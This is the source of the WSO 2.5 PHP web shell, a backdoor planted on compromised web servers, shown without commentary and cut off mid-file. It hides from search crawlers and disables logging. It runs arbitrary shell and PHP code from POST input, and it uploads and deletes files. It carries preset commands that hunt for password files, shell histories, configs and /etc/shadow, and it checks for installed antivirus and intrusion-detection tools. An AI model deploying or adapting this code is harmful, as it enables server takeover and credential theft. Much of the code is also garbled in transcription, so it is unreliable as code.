

```
?><?php
// $auth_pass = "b0b727637499d4ff1835e4cd70c0f7a4";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex",
"Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i',
$_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) :
stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("<pre align=center><form method=post>Password: <input type=password
name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) ||
($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS, 0, 3)) == "win")
    $os = 'win';
else
    $os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
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    @chdir($_POST['c']);
$pwd = @getcwd();
if($os == 'win') {
    $home_cwd = str_replace("\\", "/", $home_cwd);
    $pwd = str_replace("\\", "/", $pwd);
}
if($pwd[strlen($pwd)-1] != '/')
    $pwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
else
    $aliases = array(
        "List dir" => "ls -lha",
        "list file attributes on a Linux second extended file system" =>
"lsattr -va",
        "show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
        "Find" => "",
        "find all suid files" => "find / -type f -perm -04000 -ls",
        "find suid files in current dir" => "find . -type f -perm -04000 -
ls",
        "find all sgid files" => "find / -type f -perm -02000 -ls",
        "find sgid files in current dir" => "find . -type f -perm -02000 -
ls",
        "find config.inc.php files" => "find / -type f -name
config.inc.php",
        "find config* files" => "find / -type f -name \"config*\"",
        "find config* files in current dir" => "find . -type f -name
\"config*\"",
        "find all writable folders and files" => "find / -perm -2 -ls",
        "find all writable folders and files in current dir" => "find . -
perm -2 -ls",
        "find all service.pwd files" => "find / -type f -name service.pwd",
        "find service.pwd files in current dir" => "find . -type f -name
service.pwd",
        "find all .htpasswd files" => "find / -type f -name .htpasswd",
        "find .htpasswd files in current dir" => "find . -type f -name
.htpasswd",
        "find all .bash_history files" => "find / -type f -name
.bash_history",
        "find .bash_history files in current dir" => "find . -type f -name
.bash_history",
        "find all .fetchmailrc files" => "find / -type f -name
.fetchmailrc",
        "find .fetchmailrc files in current dir" => "find . -type f -name
.fetchmailrc",
        "Locate" => "",
        "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",

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"locate my.conf files" => "locate my.conf",
"locate admin.php files" => "locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files" => "locate config",
"locate .conf files" => "locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"

);

function wsoHeader() {
    if(empty($_POST['charset']))
        $_POST['charset'] = $GLOBALS['default_charset'];
    global $color;
    echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = ' ' . htmlspecialchars($GLOBALS['cwd']) . ' ';
    var a_ = ' ' . htmlspecialchars($_POST['a']) . ' '
    var charset_ = ' ' . htmlspecialchars($_POST['charset']) . ' ';
    var p1_ = ' ' .
((strpos($_POST['p1'], "\n") !== false)? ' ' : htmlspecialchars($_POST['p1'], ENT_QUOTES))
. ' ';
    var p2_ = ' ' .
((strpos($_POST['p2'], "\n") !== false)? ' ' : htmlspecialchars($_POST['p2'], ENT_QUOTES))
. ' ';
    var p3_ = ' ' .
((strpos($_POST['p3'], "\n") !== false)? ' ' : htmlspecialchars($_POST['p3'], ENT_QUOTES))

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.'';
var d = document;
function set(a,c,p1,p2,p3,charset) {
    if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
    if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
    if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
    if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
    if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
    if(charset!=null)d.mf.charset.value=charset;else
d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
    set(a,c,p1,p2,p3,charset);
    d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
    set(a,c,p1,p2,p3,charset);
    var params = 'ajax=true';
    for(i=0;i<d.mf.elements.length;i++)
        params +=
'&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
    sr('' . addslashes($_SERVER['REQUEST_URI']) .'', params);
}
function sr(url, params) {
    if (window.XMLHttpRequest)
        req = new XMLHttpRequest();
    else if (window.ActiveXObject)
        req = new ActiveXObject('Microsoft.XMLHTTP');
    if (req) {
        req.onreadystatechange = processReqChange;
        req.open('POST', url, true);
        req.setRequestHeader ('Content-Type', 'application/x-www-form-
urlencoded');
        req.send(params);
    }
}
function processReqChange() {
    if( (req.readyState == 4) )
        if(req.status == 200) {
            var reg = new RegExp("\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\"\\",
'm');
            var arr=req.exec(req.responseText);
            eval(arr[2].substr(0, arr[1]));
        } else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-
color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$exlink = 'http://exploit-db.com/search/?
action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
    $exlink .= urlencode('Linux Kernel ' . substr($release,0,6));

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<http://pastebin.com/raw.php?i=wXUNbZzJ>

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onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' .
$opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' .
@$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' .
$_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0
width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

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function wsoFooter() {
    $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>
(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-
top:2px solid #333;border-bottom:2px solid #333;'>
    <tr>
        <td><form onsubmit='g(null,this.c.value,\" \");return false;'>
<span>Change dir:</span><br><input class='toolsInp' type=text name=c value='\" .
htmlspecialchars($GLOBALS['cwd']) . \"'><input type=submit value='>>'></form></td>
        <td><form onsubmit=\"g('FilesTools',null,this.f.value);return
false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input
type=submit value='>>'></form></td>
    </tr><tr>
        <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return
false;\"><span>Make dir:</span><br><input class='toolsInp' type=text
name=d><input type=submit value='>>'></form></td>
        <td><form
onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make
file:</span><br><input class='toolsInp' type=text name=f><input
type=submit value='>>'></form></td>
    </tr><tr>
        <td><form onsubmit=\"g('Console',null,this.c.value);return false;\">
<span>Execute:</span><br><input class='toolsInp' type=text name=c value='\"><input
type=submit value='>>'></form></td>
        <td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAN'>
<input type=hidden name=c value='\" . $GLOBALS['cwd'] . \"'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='\" .
(isset($_POST['charset']))?$_POST['charset']:'' . \"'>
<span>Upload file:</span><br><input class='toolsInp'
type=file name=f><input type=submit value='>>'></form><br ></td>
    </tr></table></div></body></html>";
}

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if (!function_exists("posix_getpuid") && (strpos($GLOBALS['disable_functions'],
'posix_getpuid')===false)) {
    function posix_getpuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'],
'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

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function wsoEx($in) {
    $out = '';
    if (function_exists('exec')) {
        @exec($in,$out);
        $out = @join("\n",$out);
    } elseif (function_exists('passthru')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    } elseif (function_exists('system')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }
}

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    } elseif (function_exists('shell_exec')) {
        $out = shell_exec($in);
    } elseif (is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);

    if($s >= 1073741824)
        return sprintf('%1.2f', $s / 1073741824 ). ' GB';
    elseif($s >= 1048576)
        return sprintf('%1.2f', $s / 1048576 ) . ' MB';
    elseif($s >= 1024)
        return sprintf('%1.2f', $s / 1024 ) . ' KB';
    else
        return $s . ' B';
}

function wsoPerms($p) {
    if (($p & 0xC000) == 0xC000)$i = 's';
    elseif (($p & 0xA000) == 0xA000)$i = 'l';
    elseif (($p & 0x8000) == 0x8000)$i = '-';
    elseif (($p & 0x6000) == 0x6000)$i = 'b';
    elseif (($p & 0x4000) == 0x4000)$i = 'd';
    elseif (($p & 0x2000) == 0x2000)$i = 'c';
    elseif (($p & 0x1000) == 0x1000)$i = 'p';
    else $i = 'u';
    $i .= (($p & 0x0100) ? 'r' : '-');
    $i .= (($p & 0x0080) ? 'w' : '-');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' :
'-'));
    $i .= (($p & 0x0020) ? 'r' : '-');
    $i .= (($p & 0x0010) ? 'w' : '-');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' :
'-'));
    $i .= (($p & 0x0004) ? 'r' : '-');
    $i .= (($p & 0x0002) ? 'w' : '-');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' :
'-'));
    return $i;
}

function wsoPermsColor($f) {
    if (!@is_readable($f))
        return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) .
'</font>';
    elseif (!@is_writable($f))
        return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
    else
        return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) .
'</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh = opendir($dir);

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while (false !== ($filename = readdir($dh)))
    $files[] = $filename;
return $files;
}

function wsoWhich($p) {
    $path = wsoEx('which ' . $p);
    if(!empty($path))
        return $path;
    return false;
}

function actionSecInfo() {
    wsoHeader();
    echo '<h1>Server security information</h1><div class=content>';
    function wsoSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo '<span>' . $n . ': </span>';
            if(strpos($v, "\n") === false)
                echo $v . '<br>';
            else
                echo '<pre class=ml1>' . $v . '</pre>';
        }
    }

    wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
    wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?
$GLOBALS['disable_functions']:'none');
    wsoSecParam('Open base dir', @ini_get('open_basedir'));
    wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
    wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
    wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
    $temp=array();
    if(function_exists('mysql_get_client_info'))
        $temp[] = "MySQL (" .mysql_get_client_info().)";
    if(function_exists('mssql_connect'))
        $temp[] = "MSSQL";
    if(function_exists('pg_connect'))
        $temp[] = "PostgreSQL";
    if(function_exists('oci_connect'))
        $temp[] = "Oracle";
    wsoSecParam('Supported databases', implode(', ', $temp));
    echo '<br>';

    if($GLOBALS['os'] == 'nix') {
        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a
href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a
href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
        wsoSecParam('OS version', @file_get_contents('/proc/version'));
        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if(!$GLOBALS['safe_mode']) {
            $userful =
array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip',
'bzip2', 'nc', 'locate', 'suidperl');
            $danger =
array('kav', 'nod32', 'bdcore', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit',
'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tc
plodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja'
);

            $downloaders =

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array('wget','fetch','lynx','links','curl','get','lwp-mirror');
    echo '<br>';
    $temp=array();
    foreach ($userful as $item)
        if(wsoWhich($item))
            $temp[] = $item;
    wsoSecParam('Userful', implode(' ', $temp));
    $temp=array();
    foreach ($danger as $item)
        if(wsoWhich($item))
            $temp[] = $item;
    wsoSecParam('Danger', implode(' ', $temp));
    $temp=array();
    foreach ($downloaders as $item)
        if(wsoWhich($item))
            $temp[] = $item;
    wsoSecParam('Downloaders', implode(' ', $temp));
    echo '<br/>';
    wsoSecParam('HDD space', wsoEx('df -h'));
    wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
    echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table>
<form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return
false;\><tr><td>From</td><td><input type=text name=param1 value=0</td></tr><tr>
<td>To</td><td><input type=text name=param2 value=1000</td></tr></table><input
type=submit value=">"></form>';
        if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2'])
&& is_numeric($_POST['p3'])) {
            $temp = "";
            for(;$ _POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                $uid = @posix_getpwuid($_POST['p2']);
                if ($uid)
                    $temp .= join(':', $uid)."\n";
            }
            echo '<br/>';
            wsoSecParam('Users', $temp);
        }
    } else {
        wsoSecParam('OS Version', wsoEx('ver'));
        wsoSecParam('Account Settings', wsoEx('net accounts'));
        wsoSecParam('User Accounts', wsoEx('net user'));
    }
    echo '</div>';
    wsoFooter();
}

function actionPhp() {
    if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
        ob_start();
        eval($_POST['p1']);
        $temp =
"document.getElementById('PhpOutput').style.display='';document.getElementById('PhpO
utput').innerHTML='\" . addslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0")
. \"';\n";
        echo strlen($temp), "\n", $temp;
        exit;
    }
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

    wsoHeader();
    if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
        echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}
</style>';
    }
}

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        ob_start();
        phpinfo();
        $tmp = ob_get_clean();
    $tmp = preg_replace(array (
        '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
        '!td, th {(.*)}!msiU',
        '!<img[ ^>]+>!msiU',
    ), array (
        '',
        '.e, .v, .h, .h th {$1}',
        ''
    ), $tmp);
    echo str_replace('<h1','<h2', $tmp) . '</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post
onsubmit="if(this.ajax.checked)
{a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return
false;"><textarea name=code class=bigarea id=PhpCode>.(!empty($_POST[\'p1\']))?
htmlspecialchars($_POST[\'p1\']):\'\'</textarea><input type=submit value=Eval
style="margin-top:5px">';
    echo ' <input type=checkbox name=ajax value=1 '.
($ _COOKIE[md5($_SERVER[\'HTTP_HOST\']).'ajax']?'checked':'').> send using AJAX</form>
<pre id=PhpOutput style=".(empty($_POST[\'p1\']))?'display:none;':'').'margin-
top:5px;" class=ml1>';
    if(!empty($_POST[\'p1\'])) {
        ob_start();
        eval($_POST[\'p1\']);
        echo htmlspecialchars(ob_get_clean());
    }
    echo '</pre></div>';
    wsoFooter();
}

function actionFilesMan() {
    if (!empty ($ _COOKIE[\'f\']))
        $ _COOKIE[\'f\'] = @unserialize($ _COOKIE[\'f\']);

    if(!empty($_POST[\'p1\'])) {
        switch($_POST[\'p1\']) {
            case 'uploadFile':
                if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'],
$_FILES[\'f\'][\'name\']))
                    echo "Can't upload file!";
                break;
            case 'mkdir':
                if(!@mkdir($_POST[\'p2\']))
                    echo "Can't create new dir";
                break;
            case 'delete':
                function deleteDir($path) {
                    $path = (substr($path,-1)=='/') ?
$path:$path.'/';
                    $dh = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") ||
(basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);

```

```

        @rmdir($path);
    }
    if(is_array(@$_POST['f']))
        foreach($_POST['f'] as $f) {
            if($f == '..')
                continue;

            $f = urldecode($f);
            if(is_dir($f))
                deleteDir($f);
            else
                @unlink($f);
        }
    break;
case 'paste':
    if($_COOKIE['act'] == 'copy') {
        function copy_paste($c,$s,$d){
            if(is_dir($c.$s)){
                mkdir($d.$s);
                $h = @opendir($c.$s);
                while (($f = @readdir($h))

!= false)

                if (($f != ".") and
($f != ".."))

copy_paste($c.$s.'/'.$f, $d.$s.'/'.$f);

            } elseif(is_file($c.$s))
                @copy($c.$s, $d.$s);
            }
            foreach($_COOKIE['f'] as $f)
                copy_paste($_COOKIE['c'],$f,

$GLOBALS['cwd']);
        } elseif($_COOKIE['act'] == 'move') {
            function move_paste($c,$s,$d){
                if(is_dir($c.$s)){
                    mkdir($d.$s);
                    $h = @opendir($c.$s);
                    while (($f = @readdir($h))

!= false)

                    if (($f != ".") and
($f != ".."))

copy_paste($c.$s.'/'.$f, $d.$s.'/'.$f);

                } elseif(@is_file($c.$s))
                    @copy($c.$s, $d.$s);
                }
                foreach($_COOKIE['f'] as $f)
                    @rename($_COOKIE['c'].$f,

$GLOBALS['cwd'].$f);
            } elseif($_COOKIE['act'] == 'zip') {
                if(class_exists('ZipArchive')) {
                    $zip = new ZipArchive();
                    if ($zip->open($_POST['p2'], 1)) {
                        chdir($_COOKIE['c']);
                        foreach($_COOKIE['f'] as $f) {
                            if($f == '..')
                                continue;
                            if(@is_file($_COOKIE['c'].$f))
                                $zip->addFile($_COOKIE['c'].$f, $f);
                            elseif(@is_dir($_COOKIE['c'].$f)) {
                                $iterator = new RecursiveIteratorIterator(new
RecursiveDirectoryIterator($f.'/'.$f, FilesystemIterator::SKIP_DOTS));
                                foreach ($iterator as $key=>$value) {
                                    $zip->addFile(realpath($key), $key);
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}

```

```

    }
    chdir($GLOBALS['cwd']);
    $zip->close();
}
}
    } elseif($_COOKIE['act'] == 'unzip') {
        if(class_exists('ZipArchive')) {
            $zip = new ZipArchive();
            foreach($_COOKIE['f'] as $f) {
                if($zip->open($_COOKIE['c'].$f)) {
                    $zip->extractTo($GLOBALS['cwd']);
                    $zip->close();
                }
            }
        }
    } elseif($_COOKIE['act'] == 'tar') {
        chdir($_COOKIE['c']);
        $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
        wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' .
implode(' ', $_COOKIE['f']));
        chdir($GLOBALS['cwd']);
    }
    unset($_COOKIE['f']);
    setcookie('f', '', time() - 3600);
    break;
    default:
    if(!empty($_POST['p1'])) {
        WSOsetcookie('act', $_POST['p1']);
        WSOsetcookie('f', serialize(@$_POST['f']));
        WSOsetcookie('c', @$_POST['c']);
    }
    break;
}
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_=""';
</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter();
return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
    if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
        $sort = array($match[1], (int)$match[2]);
}
echo "<script>
    function sa() {
        for(i=0;i<d.files.elements.length;i++)
            if(d.files.elements[i].type == 'checkbox')
                d.files.elements[i].checked =
d.files.elements[0].checked;
    }
</script>
<table width='100%' class='main' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox
onclick='sa()' class=chkbx></th><th><a href='#'
onclick='g(\"FilesMan\",null,\"s_name_\".($sort[1]?0:1).\" \")'>Name</a></th><th><a
href='#' onclick='g(\"FilesMan\",null,\"s_size_\".($sort[1]?0:1).\" \")'>Size</a></th>
<th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_\".($sort[1]?
0:1).\" \")'>Modify</a></th><th>Owner/Group</th><th><a href='#'
onclick='g(\"FilesMan\",null,\"s_perms_\".($sort[1]?0:1).\" \")'>Permissions</a></th>
<th>Actions</th></tr>";
    $dirs = $files = array();
    $n = count($dirContent);

```

```

for($i=0;$i<$n;$i++) {
    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
    $tmp = array('name' => $dirContent[$i],
        'path' => $GLOBALS['cwd'].$dirContent[$i],
        'modify' => date('Y-m-d H:i:s',
@filemtime($GLOBALS['cwd'] . $dirContent[$i])),
        'perms' => wsoPermsColor($GLOBALS['cwd'] .
$dirContent[$i]),
        'size' =>
@filesize($GLOBALS['cwd'].$dirContent[$i]),
        'owner' => $ow['name']?
$ow['name']:@fileowner($dirContent[$i]),
        'group' => $gr['name']?
$gr['name']:@filegroup($dirContent[$i])
    );
    if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
        $files[] = array_merge($tmp, array('type' => 'file'));
    elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
        $dirs[] = array_merge($tmp, array('type' => 'link', 'link'
=> readlink($tmp['path'])));
    elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
        $dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
    if($GLOBALS['sort'][0] != 'size')
        return strcmp(strtolower($a[$GLOBALS['sort'][0]]),
strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
    else
        return (($a['size'] < $b['size']) ? -1 : 1)*
($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$1 = 0;
foreach($files as $f) {
    echo '<tr'.($1?' class=11':'').><td><input type=checkbox name="f["
value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.
(($f['type']=='file')?'g(\FilesTools\',null,\'.urlencode($f['name']).'\',
\'view\')">.htmlspecialchars($f['name']):'g(\FilesMan\',\'. $f['path'].\'');" ' .
(empty ($f['link']) ? ' : "title='{ $f['link'] }'" ) . '><b>[ ' .
htmlspecialchars($f['name']) . ' ]</b>'.</a></td><td>'.(($f['type']=='file')?
wsoViewSize($f['size']):$f['type']).</td><td>'. $f['modify'].</td>
<td>'. $f['owner'].</td><td>'. $f['group'].</td><td><a href=#
onclick="g(\FilesTools\',null,\'.urlencode($f['name']).'\',\'chmod\')">'. $f['perms
']
        .</td><td><a href="#"
onclick="g(\FilesTools\',null,\'.urlencode($f['name']).'\', \'rename\')">R</a> <a
href="#" onclick="g(\FilesTools\',null,\'.urlencode($f['name']).'\',
\'touch\')">T</a>'.(($f['type']=='file')?' <a href="#"
onclick="g(\FilesTools\',null,\'.urlencode($f['name']).'\', \'edit\')">E</a> <a
href="#" onclick="g(\FilesTools\',null,\'.urlencode($f['name']).'\',
\'download\')">D</a>:'.</td></tr>';
    $1 = $1?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='\" . htmlspecialchars($GLOBALS['cwd']) . '>
<input type=hidden name=charset value='\". (isset($_POST['charset']))?
$_POST['charset']:')'>
<select name='p1'><option value='copy'>Copy</option><option
value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))

```

```

    echo "<option value='zip'>Compress (zip)</option><option
value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act'])) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act'])) && @count($_COOKIE['f']) && (($_COOKIE['act'] ==
'zip') || ($_COOKIE['act'] == 'tar'))
        echo "file name: <input type=text name=p2 value='wso_' . date("Ymd_His") .
"." . ($_COOKIE['act'] == 'zip'? 'zip': 'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
    wsoFooter();
}

function actionStringTools() {
    if(!function_exists('hex2bin')) {function hex2bin($p) {return
decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return
dechex(bindec($p));}}
    if(!function_exists('hex2ascii')) {function hex2ascii($p)
{$r='';for($i=0;$i<strlen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
    if(!function_exists('ascii2hex')) {function ascii2hex($p)
{$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return
strtoupper($r);}}
    if(!function_exists('full_urlencode')) {function full_urlencode($p)
{$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return
strtoupper($r);}}
    $stringTools = array(
        'Base64 encode' => 'base64_encode',
        'Base64 decode' => 'base64_decode',
        'Url encode' => 'urlencode',
        'Url decode' => 'urldecode',
        'Full urlencode' => 'full_urlencode',
        'md5 hash' => 'md5',
        'sha1 hash' => 'sha1',
        'crypt' => 'crypt',
        'CRC32' => 'crc32',
        'ASCII to HEX' => 'ascii2hex',
        'HEX to ASCII' => 'hex2ascii',
